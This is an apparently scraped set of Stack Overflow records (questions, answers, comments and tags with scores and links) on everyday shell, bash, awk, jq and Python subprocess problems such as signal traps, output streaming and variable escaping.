score: 1
upvote count: 1
type: Answer
has body: You can use trap in combination with a signal handler to catch the SIGINT signal and execute the second command before exiting,and as you see below the handle_sigint function is executed when the script receives the SIGINT signal : #!/bin/bash #to handle SIGINT handle_sigint() { echo "SIGINT signal received" echo "Executing second command..." #here, you can adding your second command echo "Second command executed" exit 0 } #registering the signal handler trap handle_sigint SIGINT #first command sleep 100 #second command echo "Finished execution"

http://stackoverflow.com/a/77016008
has comment: http://stackoverflow.com/comment/135771394
type: Answer
answers question: http://stackoverflow.com/q/77015974
has comment: http://stackoverflow.com/comment/135771371
has comment: http://stackoverflow.com/comment/135771376
has comment: http://stackoverflow.com/comment/135769647
score: 0
has body: use single quotes and no space before the slash set String_A = 'Make\ Something\ End' set String_B = '${String_A}\ And add\ Something else' set String_C = '${String_B} Finally something good' echo $help:q
has comment: http://stackoverflow.com/comment/135771251

http://stackoverflow.com/comment/135677797
has text: If you need to long press on OK, long press on OK, I don't see the problem.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76930863
score: 0

http://stackoverflow.com/comment/135594139
score: 4
type: Comment
has text: When you press Ctrl-C, SIGINT is sent to all processes in the foreground process group, not just the `signal-propagate` script. So `work.php` receives the signal without you sending it with `kill` from the function.
comment on: http://stackoverflow.com/q/76915647
type: QuestionComment

currency
type: Tag
tags question: http://stackoverflow.com/q/77046244
tag name: currency

http://stackoverflow.com/q/76928930
has comment: http://stackoverflow.com/comment/135618336
type: Question
tagged with: subprocess
has answer: http://stackoverflow.com/a/76931283
answer count: 1
score: -2
upvote count: 1
tagged with: python
has body: I have a simple function for executing terminal commands and it looks something like this: import subprocess def func(command): subprocess.run(command, shell=True) func('python my_python_program.py --par my_parameter_file.py') The function indeed executes the command, but there should be some output/print statements coming from the program I am executing. The program takes about 10 min to execute and creates a lot of print statements. They get displayed when I just execute the command in a terminal, but subprocess doesn't display them. How can I get the output to be printed out when using subprocess? Can you provide me with 2 different options - 1) if I want the output just printed on the screen, each line immediately, not everything when the command is completely done ; 2) if I want the output to be saved into a file, also immediately line after line? Tnx!
downvote count: 3
has comment: http://stackoverflow.com/comment/135619644
linked to: http://stackoverflow.com/q/6657690
tagged with: shell
has title: How to make subprocess in python print the outputs immediately?
has comment: http://stackoverflow.com/comment/135617249
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/76931283
linked to: http://stackoverflow.com/q/375427
has comment: http://stackoverflow.com/comment/135615447

http://stackoverflow.com/comment/135692379
has text: Code does not belong in variables. See [BashFAQ #50](https://mywiki.wooledge.org/BashFAQ/050). Arrays are the appropriate tool for storing command lines, but `<()` is not a command-line element, it's syntax; use a function instead.
score: 0
comment on: http://stackoverflow.com/q/76972787
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76979610
upvote count: 3
answers question: http://stackoverflow.com/q/76978039
score: 3
has body: Using any awk: $ cat tst.awk /^ / { info = "" inInfo = 1 } inInfo { info = (info ? info ORS : "") $0 if ( /^<\/Info>/ ) { $0 = info if ( (/ "eth0"<\/pInfo>/) && (/ 1123<\/port>/) ) { sub(/ .*<\/IpAdd>/," 111.111.111.111 ") } inInfo = 0 } } !inInfo $ awk -f tst.awk file "eth0" 111.111.111.111 1123 "eth1" 192.168.1.22 6789 "Name" 192.168.1.2 1123 The above assumes that the order of lines within an Info block don't actually matter.
downvote count: 0
type: Answer

http://stackoverflow.com/comment/135644485
score: 1
comment on: http://stackoverflow.com/a/76945233
has text: We answer the question you ask. If you have a new and different question, ask it separately.
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76945473
has body: I consider it overkill to launch an awk child process for each input line. If you want to read the lines within bash, you can also do the extraction in bash. Using your variable names: if $line =~ @(.*)@ then pattern1=${BASH_REMATCH[1]} -n $pattern1 && echo pattern is not empty else echo pattern not found in line "$line" fi
upvote count: 2
has comment: http://stackoverflow.com/comment/135644448
downvote count: 0
has comment: http://stackoverflow.com/comment/135644494
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/135644469
answers question: http://stackoverflow.com/q/76945139
has comment: http://stackoverflow.com/comment/135644513

http://stackoverflow.com/a/77064336
type: Answer
score: 0
has body: The error you are getting means the method GetDomain() exists, however it does not accept only one parameter. This is noted by the statement: Cannot find an overload for "GetDomain" and the argument count: "1" At C:\testing_gpo.ps1:10 char:5 When we check the documentation, we see that the method requires three parameters https://learn.microsoft.com/en-us/windows/win32/api/gpmgmt/nf-gpmgmt-igpm-getdomain In this specific case, this function requires three parameters always. When we want to only pass the domain as a parameter, we must pass the other two parameters as an empty string. $gpmc.GetDomain($domain, '', '') By the way when using the autocomplete function in Powershell (Control + Space), it will also tell you what methods require which parameters.
answers question: http://stackoverflow.com/q/77059371

http://stackoverflow.com/comment/135815677
has text: @dragonLOLz : Sure, but in this case, the naming conventions should be defined in the question. I just proposed my solution based on the fact that in those testing frameworks I had worked so far, test names indeed where always just identifiers. If this is different in the OP's case, he will put a comment on my answer and edit his question accordingly, and then I can update my answer to cover the naming of the OP.
type: AnswerComment
comment on: http://stackoverflow.com/a/77042018
score: 0
type: Comment

http://stackoverflow.com/comment/135834183
type: Comment
has text: Regarding "... until the occurrence of a character other than a number" - could that character be something other than the `.` from `.tar`? If so, please include an example of that in your question.
score: 0
comment on: http://stackoverflow.com/q/77050349
type: QuestionComment

http://stackoverflow.com/comment/135632222
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76936679
has text: @Barmar Yes I did but I am unfortunately not allowed to use such jumps. I noticed while reading bash source code for signal handling that bash doesn't do it either so I don't think it is necessary to handle such events
score: 0

http://stackoverflow.com/a/76939845
type: Answer
has comment: http://stackoverflow.com/comment/135634700
has comment: http://stackoverflow.com/comment/135634759
has comment: http://stackoverflow.com/comment/135635013
has body: You can just insert a line-break (if you do not mind to distort the indentation): A="$(echo string1) $(echo string2)"; # test it now: echo -n "$A"|od -c 000000 s t r i n g 1 \n s t r i n g 2 0000017 If you do not like breaking the indentation, the line-break becomes a precious thing. But there are ways how to get it: # NL will contain line-break char printf -v NL "\n"; # Or trick by inserting and removing X NL="$(echo -e '\nX')"; NL="${NL/X}"; #test: echo -n "$NL" | od -c 0000000 \n 0000001 # use it: A="$(echo string1)$NL$(echo string2)"; # test it now: echo -n "$A"|od -c 000000 s t r i n g 1 \n s t r i n g 2 0000017 Or we can make it one-liner. Also I can hexdump instead of od for testing. printf -v B "%s\n%s" "$(echo string1)" "$(echo string2)"; echo "$B" | hexdump -C 00000000 73 74 72 69 6e 67 31 0a 73 74 72 69 6e 67 32 0a |string1.string2.| 00000010 -v B means to store the result to variable B instead of printing it out. \n needs no comment. %s is like in printf() function in C, and the parameters are coming as parameters on the command line. (Do NOT use printf -v B "$(echo foo%%)$(echo bar%d)" if you do not want to lose % etc. They have the place-holder function in the first parameter.)
has comment: http://stackoverflow.com/comment/135634771
answers question: http://stackoverflow.com/q/76939782
has comment: http://stackoverflow.com/comment/135635001
score: 0

http://stackoverflow.com/comment/135668584
score: 0
type: QuestionComment
has text: Thanks for the answers su stands for switch user, so i need it to change the user that runs those commands, am i right? I have little control over the scheduler: my client give me access just to the script itself, it's the it that handles the scheduler and its options, so i just need a way to "log" as a user and move files in the same script. is it doable?
type: Comment
comment on: http://stackoverflow.com/q/76954855

http://stackoverflow.com/comment/135690725
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76930863
has text: In the swipe example I sent you can set `segment_step` to whatever you want (each one is `5ms`) so you can achive what you want.

http://stackoverflow.com/a/76897279
has comment: http://stackoverflow.com/comment/135564742
type: Answer
has comment: http://stackoverflow.com/comment/135562053
has body: Make expands ${…}. If you want to pass through for the shell to expand, you need to use $$: @aaa=inner; echo $${aaa}
has comment: http://stackoverflow.com/comment/135564756
answers question: http://stackoverflow.com/q/76897014
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/135561998

http://stackoverflow.com/comment/135683055
has text: Upon googling, I realised that was the 'package.json' was what I was missing. I solved the problem by using a `npm init` command. Thank you @JaDa
score: 1
type: QuestionComment
comment on: http://stackoverflow.com/q/76967366
type: Comment

http://stackoverflow.com/comment/135646720
has text: Does this answer your question? [Ansible set\_fact with double quotes and back slashes](https://stackoverflow.com/questions/68559796/ansible-set-fact-with-double-quotes-and-back-slashes)
comment on: http://stackoverflow.com/q/76946610
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/a/77056404
score: 0
has body: I like to do these in regex way: grep 'Version:' /Documents/test | grep -Eo '([0-9]+\.[0-9]+)' 1.0 -E : extended regular expression. -o : return only matched part. thus, you can even change regex to adjust version pattern you want. e.g. # only match version 1.x grep 'Version:' /Documents/test | grep -Eo '(1\.[0-9]+)'
answers question: http://stackoverflow.com/q/77049931
type: Answer

http://stackoverflow.com/comment/135696060
score: 0
type: QuestionComment
type: Comment
has text: I didn't say that the script shoiuldn't generate the link. But can't you pass the path for the softlink to be generated from Jenkins to the script?
comment on: http://stackoverflow.com/q/76968448

http://stackoverflow.com/q/76910492
tagged with: linux
has body: I am new to working with screens in Linux and I am trying to figure out how to create a screen that will execute a while true loop every 15 seconds that will monitor another screen process that I have called "myserver". My idea was to use the following: screen -dmS myservermonitor bash -c \ 'while true; do if ! screen -list | grep -q "myserver"; then screen -S myserver java \ @user_jvm_args.txt \ @libraries/net/minecraftforge/forge/1.18.2-40.2.10/unix_args.txt \ "$@" fi sleep 15 done' With the thought being that it would create a screen called "myservermonitor" that will then check if the "myserver" screen is alive and if it is not it will create it, and if it is then it would wait 15 seconds and run another check to see if it is alive once more. However, this is not working as it just creates a dead process called "myservermonitor". Any help would be greatly appreciated, thank you.
type: Question
has comment: http://stackoverflow.com/comment/135584922
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135584730
score: 0
answer count: 0
tagged with: shell
has title: Linux While True Loop Inside of a Screen to Monitor Another Screen Process
has comment: http://stackoverflow.com/comment/135584810

http://stackoverflow.com/comment/135595457
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76916586
has text: ok, I think I understand where you're coming from ... the `typeset -p` shows `[0]="'/Users/First Folder'"` (single and double quotes) when it should show `[0]="/Users/First Folder"` (only double quotes); the single quotes are a result of OP's `jq -r '.paths[] | @sh' config.json` so, how do you get `jq` to 'remove' both the double quotes (-4) and single quotes?

http://stackoverflow.com/comment/135735233
score: 3
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment
has text: It depends on your needs, but one option is to use hard links for this, not symbolic links. There's no "master" in that case; all the filenames just point to the same inode. You just have to be a little careful if you have to update the file; if you have an editor that copies to a new name and renames the files into place, that can break the hard link.
type: Comment

http://stackoverflow.com/comment/135785123
has text: Look into using a tool like GNU Parallel.
comment on: http://stackoverflow.com/q/77024360
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135729374
has text: The input you've shared does not look like valid XML to me. Also, please share your attempts to resolve the problem
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76993557

http://stackoverflow.com/comment/135574304
has text: @RenaudPacalet: Yes, you are right. It turns out that the problem is not in whitespaces in directory names. I don't know whether I should edit my post or ask a new question. In short, the `my directory 1` part in an error message was not related to a directory, it was a filename which was _cut_ to some number of chars. So, for example, a file named `file00...00abcd.txt` (the name contains more than 160 chars) gives the `find: 'path/to/directory/a/fileaa...ab': No such file or directory` error message. I have no idea why.
type: Comment
comment on: http://stackoverflow.com/q/76903882
score: 0
type: QuestionComment

http://stackoverflow.com/a/76948525
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/76944944
has body: You are meant to add a semicolon at the end of every SQL statement. Modify your script by adding a semicolon to EXIT, also end the if statement using END IF DO $$ BEGIN IF ((SELECT COUNT(*) FROM purchase_history) != (SELECT COUNT(*) FROM purchase_history_pre_partitioning)) THEN EXIT; END IF; END $$;
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/76944944

http://stackoverflow.com/q/77049931
type: UnansweredQuestion
has body: I have a file as below (file name is /document/test) Filename: Description: Version: 1.0 Created: Revision: none Compiler: gcc Author: (), Company: I want to write a bash script that would display the version number (here in this example 1.0) I've tried this #!/bin/bash if grep -q Version /Documents/test; then echo "string found" else echo "not found" fi it says string is found, but I need the version number if the given string is found
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/77056404
answer count: 2
tagged with: linux
downvote count: 0
has title: How to read next characters if it the given string is found inside a file using bash script?
score: 1
tagged with: bash
type: Question
has answer: http://stackoverflow.com/a/77050019
has comment: http://stackoverflow.com/comment/135830633
tagged with: shell

http://stackoverflow.com/a/76914088
downvote count: 0
answers question: http://stackoverflow.com/q/76910801
type: Answer
score: 2
upvote count: 2
has body: The {start..end} construct has a 3rd argument of increment (default is +1): {start..end..increment}. For printing odd values you provide the start and ending values with an increment of +2, eg: for i in {1..99..2}; do echo "$i"; done Or a shortened version if the sole purpose is to print the values to stdout: printf "%s\n" {1..99..2} Both of these generate: 1 3 5 7 ... removed for brevity 93 95 97 99 Keep in mind that the series of values must first be generated and saved in memory. In this case the generation and storage of 50 values is insignificant, but if you were to generate a series of numbers in the (100's of) millions then you'd see a large spike in cpu and memory usage just to generate/store those numbers. For large series of numbers it is faster and more memory efficient to use something like: for ((i=1;i<=99;i+=2)) do echo "$i" done NOTE: i+=2 could be replaced with i=i+2 to obtain the same outcome This approach requires memory for just one value (the current value of the variable i) and requires a (relatively) insignificant amount of cpu to increment the variable on each pass through the loop. This also generates: 1 3 5 7 ... removed for brevity 93 95 97 99

http://stackoverflow.com/comment/135696237
score: 1
type: QuestionComment
has text: This is what "export" is for. `export commonPath="~/Documents/myServices"`.
type: Comment
comment on: http://stackoverflow.com/q/76974859

http://stackoverflow.com/comment/135847407
comment on: http://stackoverflow.com/q/77058657
type: QuestionComment
type: Comment
score: 0
has text: _to set a local variable value_ : To set a **local** variable, you would use `local name=value`. This would restrict the scope of `name` to the current function. I don't know whether zsh allows a variable to be _local_ and _export_ at the same time. This would be an environment variable which automatically gets undefined when the function ends. Why do you need this?

http://stackoverflow.com/q/76893847
score: 0
type: Question
tagged with: shell
type: UnansweredQuestion
has body: I have a IP Camera and the recordings are saved with ffmpeg RTSP into a raspberry pi. Sometimes, when the electricity shuts off and comes back on, the raspberry boots faster than the IP Camera and the ffmpeg command (saved on a crontab to run every reboot) fails to execute because it can't reach the IP Camera (that is still turning on). I tried to put a sleep command before the command but that doesn't work either. It also happened that when the IP Camera reboots, the raspberry closes the command, but when the camera comes back online, I have to manually lauch the command. Is there a way to make a script that waits to run the ffmpeg command until the camera is fully online (I assume with the $? variable for command exit status), and to wait to restart the ffmpeg command when the camera reboots? The setup I have now is a crontab: SHELL=/bin/bash @reboot sleep 120s; sudo ffmpeg ...
tagged with: rtsp
has comment: http://stackoverflow.com/comment/135558484
tagged with: ffmpeg
has comment: http://stackoverflow.com/comment/135555588
answer count: 0
tagged with: bash
has comment: http://stackoverflow.com/comment/135564131
has title: Bash script: Cycle script until ffmpeg command restarts successfully
has comment: http://stackoverflow.com/comment/135555996

http://stackoverflow.com/comment/135690231
comment on: http://stackoverflow.com/q/76971571
has text: 1) Until you get this working, I recommend instead of `rm ...` you `/bin/mv glo12_rg_1h-m_20210201.nc /path/to/archive/$(date +%Y/%m/%d)`. What happens if you have an error during your development, you will want to reprocess those files until you get it right (for months or a year (-;! ). 2) based on your example runs in the first section of code, I think you want to have `ncks -O -x -v vo,uo,zos "${fl}" data_01_output1.nc`. 3) always fix syntax issues flagged when you paste code to https://shellcheck.net. Besure to include `#!/bin/bash` as the first line. ....
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135640331
type: AnswerComment
comment on: http://stackoverflow.com/a/76939972
has text: @minorChaos : This argument is odd. If one explicitly writes `echo -n`, than he does it with the purpose that a newline is not wanted.
score: 0
type: Comment

http://stackoverflow.com/q/77031983
tagged with: linux
tagged with: bash
tagged with: gitlab-ci-runner
type: Question
has comment: http://stackoverflow.com/comment/135798379
has answer: http://stackoverflow.com/a/77034225
has comment: http://stackoverflow.com/comment/135798147
has comment: http://stackoverflow.com/comment/135798184
accepted answer: http://stackoverflow.com/a/77034225
has body: I am implementing custom gitlab-runer executor. Gitlab sends multiple scripts to execute in order, and want to execute them in the same shell session. However, my wrapper script is executed multiple times. While I could do bash -s <script_from_gitlab.sh this will execute multiple scripts in a new environment. I would want to keep like a "bash service" running with an open input and output, run a command, then when a command is finished collect the output and display it, all while preserving the environment. This is every similar to Jupiter notebooks in python. How to implement such "persistent bash session" and to execute one command in that session and collect it output in non-interactive fashion? My only idea is to separate output by uuid: #!/bin/bash prepare() { # runs a bash in the background waiting for commands mkfifo /tmp/fifoin /tmp/fifoout bash -s </tmp/fifoin >/tmp/fifoout & echo $! > /tmp/bashpid } run() { mark=d1c21272-4055-4cd4-a0d4-3462e7d29373 { # executes script cat "$1" echo "$mark" } > /tmp/fifoin & while IFS= read -r line; do if "$line" == "$mark" ; then break fi printf "%s\n" "$line" done } cleanup() { pid=$(</tmp/bashpid) kill "$pid" tail -f --pid "$pid" } # executed with arguments: "cleanup" "run thiscript" "run thatscript" "cleanup" in order "$1" "$2" However, this feels like a workaround, especially with the "mark" to get if the script finished execution or not. Is there a different solution? In real life, the commands are run by Nomad scheduler. It's the same, just bash -s is executed with nomad exec <allocid> bash -s.
tagged with: gitlab
score: 0
tagged with: shell
has title: How to keep bash session open and interactively execute commands?
answer count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/135833688
score: 1
comment on: http://stackoverflow.com/a/77051033
type: Comment
has text: Alternately `< /dev/null 2> /dev/null`
type: AnswerComment

http://stackoverflow.com/comment/135603424
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76905287
has text: @Gairfowl Sorry for the late reply, I tried to echo the variable when it clones the repo, but it returns nothing. Here are two screenshots of the code and the output: [https://imgur.com/a/yWepHLW](https://imgur.com/a/yWepHLW) -- edit I forgot to use the `-q` flag in the image, but the result is the same.
type: QuestionComment

http://stackoverflow.com/q/77052638
upvote count: 11
has comment: http://stackoverflow.com/comment/135835839
tagged with: bash
type: Question
type: AnsweredQuestion
downvote count: 1
tagged with: zsh
has comment: http://stackoverflow.com/comment/135842816
accepted answer: http://stackoverflow.com/a/77052639
tagged with: macos
tagged with: shell
has title: Changing default shell from zsh to bash on MacOS (Catalina and beyond)
has body: I felt comfortable using bash shell on MacOS. But Catalina replaced it with zsh. Why? Can I switch it back? If so, how? Does it make sense to do so? Any gotchas?
answer count: 1
score: 10
has answer: http://stackoverflow.com/a/77052639
favorite count: 0

http://stackoverflow.com/comment/135786218
comment on: http://stackoverflow.com/a/77025220
type: AnswerComment
score: 1
has text: Your quotes on the last line in perform_iteration are unbalanced, which is why the syntax highlighting is off past that point.
type: Comment

http://stackoverflow.com/comment/135727320
type: Comment
has text: Instead of `| while read line; do echo "- $line"; done`, can't you change the format string to `--pretty=format:'- %s'` ?
comment on: http://stackoverflow.com/q/76992379
score: 6
type: QuestionComment

http://stackoverflow.com/comment/135623360
type: Comment
type: AnswerComment
has text: I shared my pre-commit hook.
comment on: http://stackoverflow.com/a/76929011
score: 0

http://stackoverflow.com/q/76970324
answer count: 1
type: AnsweredQuestion
has body: I have a script that gets the following error: Error InstanceAgent::Plugins::CodeDeployPlugin::HookExecutor: Script at specified location: scripts/powwow-deploy.sh failed to close STDERR Script at specified location: scripts/powwow-deploy.sh failed to close STDERR powwow-deploy.sh nohup java -jar -Dspring.profiles.active=uat target/pow-wow-0.0.2-SNAPSHOT.jar &gt; logs/nohup.out &amp; I think the problem is because I am writing the output to nohup.out, i.e. &gt; logs/nohup.out. How can I make it write to logs/nohup.out without getting the error?
has title: Script at specified location: failed to close STDERR
type: Question
tagged with: nohup
accepted answer: http://stackoverflow.com/a/76972551
tagged with: sh
has comment: http://stackoverflow.com/comment/135692160
score: 0
tagged with: aws-code-deploy
tagged with: shell
tagged with: linux
has answer: http://stackoverflow.com/a/76972551

http://stackoverflow.com/comment/135686810
has text: This is useful, thank you! yeah I realized that, I will move it.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76966101

http://stackoverflow.com/comment/135733592
type: Comment
score: 1
has text: See the [My text files are broken! They lack their final newlines!](https://mywiki.wooledge.org/BashFAQ/001#My_text_files_are_broken.21__They_lack_their_final_newlines.21) section of [BashFAQ/001 (How can I read a file \(data stream, variable\) line-by-line \(and/or field-by-field)?)](https://mywiki.wooledge.org/BashFAQ/001).
comment on: http://stackoverflow.com/q/76992379
type: QuestionComment

http://stackoverflow.com/comment/135811381
score: 0
type: QuestionComment
has text: (to provide context for that: `xmlns="https://example.com/foo"`, for example, means that your later `<testng-results` is really `<{https://example.com/foo}testng-results`; that kind of namespacing means you can have XML documents that merge different kinds of data without concern about namespace collisions).
comment on: http://stackoverflow.com/q/77039334
type: Comment

http://stackoverflow.com/comment/135643907
type: Comment
has text: Your description of `< ... />` in a single line doesn't match your output, as there are some `< ... />-->`.
type: QuestionComment
comment on: http://stackoverflow.com/q/76944879
score: 1

http://stackoverflow.com/comment/135696510
comment on: http://stackoverflow.com/q/76968448
score: 0
type: QuestionComment
has text: No, the way shell script1 is already implemented to generate the soft link by itself and now, the thing is make use of that path in the other shell script2.
type: Comment

http://stackoverflow.com/comment/135711522
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76982715
has text: *"However, due to the complexity and the multiple parameters involved in Autodock4,"* (this is included 2x in your posting (and other duplicates) ) . ... Well ... please edit your question to show examples of these options/constraints. BUT be warned, I read your question now as a "please write the code for me" question, which will likely be vote-closed. ALSO include your best attempt to solve your problem. You can use `case $var in opt1) do opt 1 ;; opt2 ) do opt2 ;; * ) unrecognized ;; esac` , `if/then/elif/else/fi` constructs limit the action of your script. .......

http://stackoverflow.com/comment/135735455
comment on: http://stackoverflow.com/q/76996572
type: QuestionComment
type: Comment
has text: Also, file system IDs are not permanently assigned to NFS mounts.
score: 0

http://stackoverflow.com/q/76913125
has comment: http://stackoverflow.com/comment/135589144
has body: I am calling a curl request and receiving the data as an Array of Json Objects. I want to use this array of JSON Objects as a value in other JSON. This second JSON will be sent as a Request Body of an api call. Response recieved from the curl request [ { id:1, "term":"term1" }, { id:2, "term":"term2" }, { id:3, "term":"term3" } ] I am contructing the new json with the help of jq and I am parsing the array of JSON as --arg. So because of this the array gets parsed as string so my question is how can I pass the array in the JSON so that it does not get escape characters i.e. does not get parsed as string.
score: 0
has comment: http://stackoverflow.com/comment/135589232
answer count: 2
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135594449
tagged with: jq
has comment: http://stackoverflow.com/comment/135588779
possible better answer: http://stackoverflow.com/a/76916385
has answer: http://stackoverflow.com/a/76920829
has comment: http://stackoverflow.com/comment/135588802
has answer: http://stackoverflow.com/a/76916385
accepted answer: http://stackoverflow.com/a/76920829
has comment: http://stackoverflow.com/comment/135601833
has comment: http://stackoverflow.com/comment/135588816
type: AnsweredQuestion
has title: Parsing Array of Objects with JQ

http://stackoverflow.com/q/77010695
downvote count: 0
accepted answer: http://stackoverflow.com/a/77010843
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77010808
tagged with: awk
has body: I have below text: roledetails="name: CLD:HYB_Y_BASIS_ADMIN description: Basis Admin readOnly: <null> roleReferences: - description: desc1 name: AuthGroup_Administrator roleTemplateAppId: it!b2455 roleTemplateName: AuthGroup_Administrator - description: Desc2 name: AuthGroup_BusinessExpert roleTemplateAppId: it!b2455 roleTemplateName: AuthGroup_BusinessExpert " I like to convert into .csv file in below format. How will I do it by using AWK ? Note: Desc field has value which may have comma in text so to avoid .csv file conflict, replace comma in Desc field with ":" Colon. Collection Role, Desc,Role_Name,App_Id, Role_Template CLD:HYB_Y_BASIS_ADMIN, desc1, AuthGroup_Administrator,it!b2455,AuthGroup_Administrator CLD:HYB_Y_BASIS_ADMIN, desc2, AuthGroup_BusinessExpert,it!b2455,AuthGroup_BusinessExpert I tried below code but not working: declare fullfilepath=$(pwd)"/test1.csv" awk -F':[[:space:]]+' -v fullfilepath="$fullfilepath" 'NR==1{ # When on Line 1 a=$2;cnt=0 # Set a and cnt vars } /^-/{ # When line starts with - rta[cnt]=$2; getline; # Add role template app ID to rta array rtn[cnt]=$2; getline; # Add role template name to rtn array n[cnt]=$2;cnt++ # Add name to n array } END{ # When the file processing is over for(i=0;i<cnt;i++) { # Iterate over the found values and... #print a","n[i]","rtn[i]","rta[i] # print them printf a","n[i]","rtn[i]","rta[i] "\n" >> fullfilepath # print them } }' <<< "$roledetails"
possible better answer: http://stackoverflow.com/a/77010808
has comment: http://stackoverflow.com/comment/135760164
type: Question
tagged with: shell
score: 1
has title: Extract text using AWK command into multiple column
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/77010843
answer count: 2

http://stackoverflow.com/comment/135761158
has text: @LordOfTheRing are you implying each line should have 4 fields and the first (data) field is `CLD:HYB_Y_BASIS_ADMIN, desc1` (instead of `CLD:HYB_Y_BASIS_ADMIN`)? if this is the case then please update the question with these additional details *AND* make sure you update question to show the expected output with this 'new' format requirement
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77010843
score: 0

http://stackoverflow.com/a/77014284
type: Answer
answers question: http://stackoverflow.com/q/77014035
has comment: http://stackoverflow.com/comment/135766672
score: 0
has body: I already address your issue. Here is my solution: -DnewVersion=\\\${parsedVersion.majorVersion}.\\\${parsedVersion.minorVersion}.\\\${parsedVersion.nextIncrementalVersion}

http://stackoverflow.com/q/77014035
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77014284
has title: How to escape variable names in maven inside a Jenkinsfile
tagged with: maven
tagged with: shell
tagged with: jenkins
has answer: http://stackoverflow.com/a/77015942
downvote count: 0
has body: Hi guys im having a bit of a problem here. I have a pom.xml which has the tag in the following form: 1.0.0${revision}${sha1}${changelist} . I'm trying to increment the minor version of my project inside a Jenkinsfile without loosing "${revision}${sha1}${changelist}". I don't want the values from the variables instead i want my new Version to look like 1.1.0${revision}${sha1}${changelist} inside my pom files. I can't seem to figure out how to do the escaping right. My Jenkinsfile would look as follows: stage('Increment minor version') { when{ branch 'xxx' } steps { withMaven(globalMavenSettingsConfig: MAVEN_SETTINGS) { sh 'mvn build-helper:parse-version versions:set -DnewVersion=${parsedVersion.majorVersion}.${parsedVersion.nextMinorVersion}.0${revision}${sha1}${changelist} versions:commit' }} I know this is not escaped right now. I tried multiple escaping attempts. Can anybody help me out here ? I tried the solution of this post too and got the following output: 1.1.0{revision}{sha1}{changelist} as you can see the '$'-signs are missing. I am expecting my pom files to have the version tag in the following form after incrementing the minor version: 1.1.0${revision}${sha1}${changelist} .
linked to: http://stackoverflow.com/q/59649766
tagged with: continuous-integration
favorite count: 0
accepted answer: http://stackoverflow.com/a/77015942
possible better answer: http://stackoverflow.com/a/77014284
score: 2
upvote count: 2
answer count: 2
type: Question
tagged with: java

http://stackoverflow.com/comment/135769008
comment on: http://stackoverflow.com/a/77013286
type: Comment
type: AnswerComment
has text: I think you're right - it's not necessary. I use the solutions to help learn `jq` (sprinkling `debug` and/or commenting out `#` portions is great for seeing intermediate results) and perhaps other _learners_ might find them useful too, especially if they don't know about [jqplay.org](https://jqplay.org/). I didn't know the links become stale. :(
score: 0

http://stackoverflow.com/comment/135830976
type: AnswerComment
comment on: http://stackoverflow.com/a/77038661
score: 1
has text: @diggidre: sounds like you forgot the redirection character (`<`), without it `bash` tries to execute `infile`.
type: Comment

http://stackoverflow.com/comment/135810677
type: AnswerComment
has text: https://stackoverflow.com/questions/77039334/arithmetic-operation-from-a-test-report#comment135810595_77039334
score: 0
comment on: http://stackoverflow.com/a/77039367
type: Comment

http://stackoverflow.com/q/76896765
has title: 8 files as input combination in shell script at Linux
has comment: http://stackoverflow.com/comment/135560798
score: 0
type: Question
answer count: 4
tagged with: shell
has answer: http://stackoverflow.com/a/76897376
has answer: http://stackoverflow.com/a/76896958
has answer: http://stackoverflow.com/a/76896974
has comment: http://stackoverflow.com/comment/135561249
has body: I have the below bash script that I need to take two at a time.Total have 8 files in folder. And name of files is discontinuous like: file5.txt file7.txt file11.txt file13.txt file14.txt file21.txt file22.txt file23.txt My script like: caulatepet.py \ --i file5.txt, file7.txt \ --menscor men-code.list \ --stat sex-rd.ratio \ --out ./result/file5_file7.txt I need to take two file as input at a time (as --i input), like permutations and combinations.For example like below: file5.txt file7.txt file5.txt file11.txt file5.txt file13.txt file5.txt file14.txt file5.txt file21.txt file5.txt file22.txt file5.txt file23.txt file7.txt file11.txt file7.txt file13.txt file7.txt file14.txt file7.txt file21.txt file7.txt file22.txt file7.txt file23.txt ...etc. How can I do this? Thank you.
accepted answer: http://stackoverflow.com/a/76896958
has answer: http://stackoverflow.com/a/76897368
tagged with: bash
has comment: http://stackoverflow.com/comment/135560894
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/76896974

http://stackoverflow.com/comment/135649159
type: Comment
score: 0
has text: Why not using awk specifically? Are there any other mandatory POSIX tools you can't use such as sed or grep? Can you use tools that are designed to parse XML such as xmlstarlet? By the way, you should read [why-is-using-a-shell-loop-to-process-text-considered-bad-practice](https://unix.stackexchange.com/questions/169716/why-is-using-a-shell-loop-to-process-text-considered-bad-practice).
comment on: http://stackoverflow.com/q/76944879
type: QuestionComment

http://stackoverflow.com/comment/135810685
type: QuestionComment
type: Comment
has text: don't place additional details (eg, the code you've tried) in a comment; instead, update the question with the additional details
comment on: http://stackoverflow.com/q/77039334
score: 1

http://stackoverflow.com/comment/135815959
score: 0
has text: I found an issue about [MinGW64 execute cmd with shell](https://superuser.com/questions/1413103/execute-cmd-command-with-shell). But I still have no idea to fix VSCode python debugger.
type: QuestionComment
comment on: http://stackoverflow.com/q/77042151
type: Comment

http://stackoverflow.com/comment/135595707
